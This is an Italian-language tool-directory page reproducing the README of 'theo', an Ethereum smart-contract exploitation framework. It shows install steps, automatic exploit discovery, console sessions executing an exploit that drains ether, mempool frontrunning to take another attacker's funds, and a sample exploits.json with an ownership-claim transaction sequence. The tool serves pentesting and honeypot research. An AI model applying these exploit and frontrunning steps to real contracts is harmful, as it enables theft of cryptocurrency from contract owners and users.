Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/cleanunicorn/theo
Frameworks per Penetration TestingRicognizioneFramework di ExploitAnalisi delle Vulnerabilità
GitHubcleanunicorn/theo

theo

Strumento di ricognizione e sfruttamento per Ethereum.

Vedi Repository
3489371 anno faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Theo

Obsoleto, non più mantenuto, non installarlo, non usarlo, sei stato avvisato!

License CircleCI Codacy Badge PyPI Code style: black

Theo mira ad essere un framework di exploitation e uno strumento di ricognizione e interazione con blockchain.

Caratteristiche:

  • Scansione automatica dei contratti intelligenti che genera un elenco di possibili exploit.
  • Invio di transazioni per sfruttare un contratto intelligente.
  • Monitor del pool di transazioni.
  • Console Web3
  • Transazioni di frontrunning e backrunning.
  • Attesa di un elenco di transazioni e invio di altre.
  • La stima del gas per le transazioni significa che vengono inviate solo transazioni riuscite.
  • Disabilitare la stima del gas invierà transazioni con una quantità di gas fissa.

Conosce Karl dal lavoro.

Lo scopo di Theo è combattere gli script kiddies che cercano di essere hacker leet. Può ascoltarli mentre cercano di sfruttare i suoi honeypot e far loro perdere i fondi, per il proprio guadagno.

"Non mi hai portato per la mia affascinante personalità."

Installazione

Theo è disponibile come pacchetto PyPI:

root@kitploit:~
$ pip install theo
$ theo --help
usage: theo [-h] [--rpc-http RPC_HTTP] [--rpc-ws RPC_WS] [--rpc-ipc RPC_IPC]
            [--account-pk ACCOUNT_PK] [--contract ADDRESS]
            [--skip-mythril SKIP_MYTHRIL] [--load-file LOAD_FILE] [--version]

Monitor contracts for balance changes or tx pool.

optional arguments:
  -h, --help            show this help message and exit
  --rpc-http RPC_HTTP   Connect to this HTTP RPC (default:
                        http://127.0.0.1:8545)
  --account-pk ACCOUNT_PK
                        The account's private key (default: None)
  --contract ADDRESS    Contract to monitor (default: None)
  --skip-mythril SKIP_MYTHRIL
                        Don't try to find exploits with Mythril (default:
                        False)
  --load-file LOAD_FILE
                        Load exploit from file (default: )
  --version             show program's version number and exit

RPC connections:
  --rpc-ws RPC_WS       Connect to this WebSockets RPC (default: None)
  --rpc-ipc RPC_IPC     Connect to this IPC RPC (default: None)

Installazione dai sorgenti

root@kitploit:~
$ git clone https://github.com/cleanunicorn/theo
$ cd theo
$ virtualenv ./venv
$ . ./venv/bin/activate
$ pip install -r requirements.txt
$ pip install -e .
$ theo --help

Requisiti:

  • Python 3.5 o superiore.
  • Un nodo Ethereum con RPC disponibile. Ganache funziona molto bene per test o per validare exploit.

Demo

Trovare exploit ed eseguirlo

Scansiona un contratto intelligente, trova exploit, sfruttalo:

  • Avvia Ganache come nodo Ethereum locale
  • Distribuisci il contratto vulnerabile (avviene in una finestra diversa)
  • Scansiona per exploit
  • Esegui exploit

asciicast

Frontrun della vittima

Configura un honeypot, distribuisci honeypot, attendi l'attaccante, frontrun:

  • Avvia geth come nodo Ethereum locale
  • Avvia mining
  • Distribuisci l'honeypot
  • Avvia Theo e scansiona il mem pool per transazioni
  • Fai frontrun all'attaccante e ruba il suo ether

asciicast

Utilizzo

Schermata di aiuto

È una buona idea controllare prima la schermata di aiuto.

root@kitploit:~
$ theo --help
usage: theo [-h] [--rpc-http RPC_HTTP] [--rpc-ws RPC_WS] [--rpc-ipc RPC_IPC]
            [--account-pk ACCOUNT_PK] [--contract ADDRESS] [--skip-mythril]
            [--load-file LOAD_FILE] [--version]

Monitor contracts for balance changes or tx pool.

optional arguments:
  -h, --help            show this help message and exit
  --rpc-http RPC_HTTP   Connect to this HTTP RPC (default:
                        http://127.0.0.1:8545)
  --account-pk ACCOUNT_PK
                        The account's private key (default: None)
  --contract ADDRESS    Contract to interact with (default: None)
  --skip-mythril        Skip scanning the contract with Mythril (default:
                        False)
  --load-file LOAD_FILE
                        Load exploit from file (default: )
  --version             show program's version number and exit

RPC connections:
  --rpc-ws RPC_WS       Connect to this WebSockets RPC (default: None)
  --rpc-ipc RPC_IPC     Connect to this IPC RPC (default: None)

Esecuzione simbolica

Un elenco di exploit viene identificato automaticamente utilizzando mythril.

Avvia una sessione eseguendo:

root@kitploit:~
$ theo --contract=<scanned contract> --account-pk=<your private key>
Scanning for exploits in contract: 0xa586074fa4fe3e546a132a16238abe37951d41fe
Connecting to HTTP: http://127.0.0.1:8545.
Found exploits(s):
 [Exploit: (txs=[Transaction {Data: 0xcf7a8965, Value: 1000000000000000000}])]

A few objects are available in the console:
- `exploits` is an array of loaded exploits found by Mythril or read from a file
- `w3` an initialized instance of web3py for the provided HTTP RPC endpoint

Check the readme for more info:
https://github.com/cleanunicorn/theo

>>> 

Analizzerà il contratto e troverà un elenco di exploit disponibili.

Puoi vedere gli exploit trovati. In questo caso è stato trovato un exploit. Ogni exploit è un oggetto Exploit.

root@kitploit:~
>>> exploits[0]
Exploit: (txs=[Transaction: {'input': '0xcf7a8965', 'value': '0xde0b6b3a7640000'}])

Esecuzione degli exploit

I passaggi dell'exploit possono essere eseguiti chiamando .execute() sull'oggetto exploit. Le transazioni verranno firmate e inviate al nodo a cui sei connesso.

root@kitploit:~
>>> exploits[0].execute()
2019-07-22 11:26:12,196 - Sending tx: {'to': '0xA586074FA4Fe3E546A132a16238abe37951D41fE', 'gasPrice': 1, 'gas': 30521, 'value': 1000000000000000000, 'data': '0xcf7a8965', 'nonce': 47} 
2019-07-22 11:26:12,200 - Waiting for 0x41b489c78f654cab0b0451fc573010ddb20ee6437cdbf5098b6b03ee1936c33c to be mined... 
2019-07-22 11:26:16,337 - Mined 
2019-07-22 11:26:16,341 - Initial balance:      1155999450759997797167 (1156.00 ether) 
2019-07-22 11:26:16,342 - Final balance:        1156999450759997768901 (1157.00 ether) 

Frontrunning

Puoi avviare il monitor di frontrunning per ascoltare altri hacker che cercano di sfruttare l'honeypot.

Usa .frontrun() per iniziare ad ascoltare l'exploit e quando trovato, invia una transazione con un prezzo del gas più alto.

root@kitploit:~
>>> exploits[0].frontrun()
2019-07-22 11:22:26,285 - Scanning the mem pool for transactions... 
2019-07-22 11:22:45,369 - Found tx: 0xf6041abe6e547cea93e80a451fdf53e6bdae67820244246fde44098f91ce1c20 
2019-07-22 11:22:45,375 - Sending tx: {'to': '0xA586074FA4Fe3E546A132a16238abe37951D41fE', 'gasPrice': '0x2', 'data': '0xcf7a8965', 'gas': 30522, 'value': 1000000000000000000, 'nonce': 45} 
2019-07-22 11:22:45,380 - Waiting for 0xa73316daf806e7eef83d09e467c32ce5faa239c6eda3a270a8ce7a7aae48fb7e to be mined... 
2019-07-22 11:22:56,852 - Mined 

«Oh, mio Dio! Il quarterback è fritto!»

Funziona molto bene per alcuni contratti appositamente creati o altri contratti vulnerabili, purché tu ti assicuri che il frontrunning sia a tuo favore.

Caricare transazioni da file

Invece di identificare gli exploit con mythril, puoi specificare tu stesso l'elenco degli exploit.

Crea un file che assomigli a questo exploits.json:

root@kitploit:~
[
    [
        {
            "name": "claimOwnership()",
            "input": "0x4e71e0c8",
            "value": "0xde0b6b3a7640000"
        },
        {
            "name": "retrieve()",
            "input": "0x2e64cec1",
            "value": "0x0"
        }
    ],
    [
        {
            "name": "claimOwnership()",
            "input": "0x4e71e0c8",
            "value": "0xde0b6b3a7640000"
        }
    ]
]

Questo definisce 2 exploit, il primo ha 2 transazioni e il secondo solo 1 transazione.

Puoi caricarlo con:

root@kitploit:~
$ theo --load-file=./exploits.json

Risoluzione dei problemi

openssl/aes.h: File o directory non trovato

Se ricevi questo errore, hai bisogno delle librerie sorgente libssl:

root@kitploit:~
    scrypt-1.2.1/libcperciva/crypto/crypto_aes.c:6:10: fatal error: openssl/aes.h: No such file or directory
     #include <openssl/aes.h>
              ^~~~~~~~~~~~~~~
    compilation terminated.
    error: command 'x86_64-linux-gnu-gcc' failed with exit status 1
    
    ----------------------------------------
Command "/usr/bin/python3 -u -c "import setuptools, tokenize;__file__='/tmp/pip-build-5rl4ep94/scrypt/setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" install --record /tmp/pip-mnbzx9qe-record/install-record.txt --single-version-externally-managed --compile" failed with error code 1 in /tmp/pip-build-5rl4ep94/scrypt/

Su Ubuntu puoi installarle con:

root@kitploit:~
$ sudo apt install libssl-dev
Scarica lo strumento